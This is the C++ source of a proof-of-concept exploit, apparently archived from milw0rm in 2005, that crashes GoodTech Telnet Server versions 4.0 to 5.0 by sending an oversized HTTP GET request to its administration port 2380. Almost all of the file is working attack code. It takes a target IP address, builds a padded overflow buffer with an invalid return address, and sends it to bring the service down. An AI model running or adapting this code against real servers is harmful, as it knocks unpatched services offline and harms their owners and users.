477bcbdcc0
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94 lines
2.7 KiB
C++
Executable file
94 lines
2.7 KiB
C++
Executable file
/******************************************************************************************
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GoodTech Telnet Server Buffer Overflow Crash POC
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created by Komrade
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e-mail: unsecure(at)altervista(dot)org
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web: http://unsecure.altervista.org
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Tested on GoodTech Telnet Server versions 4.0 - 5.0 (versions prior to 5.0.7)
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on a Windows XP Professional sp2 operating system.
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This exploit connects to the Administration server of GoodTech Telnet Server
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(default port 2380) and sends a very long string (10040 bytes).
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After the exploit is sent the Telnet Server will crash, trying to access
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to a bad memory address: 0xDEADCODE.
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Usage: gtscrash.exe "IP address"
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Options:
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"IP address" The IP address of the computer running GoodTech Telnet Server
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*******************************************************************************************/
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#include <windows.h>
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#include <winsock.h>
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#include <stdio.h>
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int main(int argc, char **argv)
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{
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SOCKET sock;
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struct sockaddr_in sock_addr;
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WSADATA data;
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WORD p;
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p=MAKEWORD(2,0);
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WSAStartup(p,&data);
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int i, n, err;
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unsigned char *mex;
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char risp[4096];
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printf("------------------------------------------------------------------------------\r\n");
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printf("\tGoodTech Telnet Server Buffer Overflow Crash POC\r\n");
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printf("\t\t\tcreated by Komrade\r\n\r\n");
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printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
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printf("\t\tweb: http://unsecure.altervista.org\r\n");
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printf("------------------------------------------------------------------------------\r\n\r\n");
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if (argc < 2){
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printf("Usage: gtscrash.exe \"IP address\"\r\n\r\n");
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printf("Options:\r\n");
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printf("IP address\tThe IP address of the computer running GoodTech Telnet Server\r\n");
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exit(0);
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}
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mex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);
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sock = socket(AF_INET, SOCK_STREAM, 0);
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sock_addr.sin_family=PF_INET;
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sock_addr.sin_port=htons(2380); /* Administration web server port */
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sock_addr.sin_addr.s_addr= inet_addr(argv[1]);
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err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
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if(err<0){
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printf("Unable to connect() to %s\n", argv[1]);
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exit(-1);
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}
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strcpy (mex, "GET /");
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for(i = strlen(mex); i < 10032; i++)
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mex[i]= 'a';
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mex[i]=0;
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strcat(mex, "\xDE\xC0\xAD\xDE"); /* Invalid IP address */
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strcat(mex, "\r\n\r\n");
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printf("Sending %d bytes.....\n\n", strlen(mex));
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n=send(sock, mex , strlen(mex), 0);
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n=recv(sock, risp, sizeof(risp), 0);
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if (n < 0)
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printf("GoodTech Telnet Server succesfully crashed!!\n");
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else{
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risp[n]=0;
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printf("%s\n", risp);
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}
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closesocket(sock);
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WSACleanup();
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return 0;
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}
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// milw0rm.com [2005-03-15]
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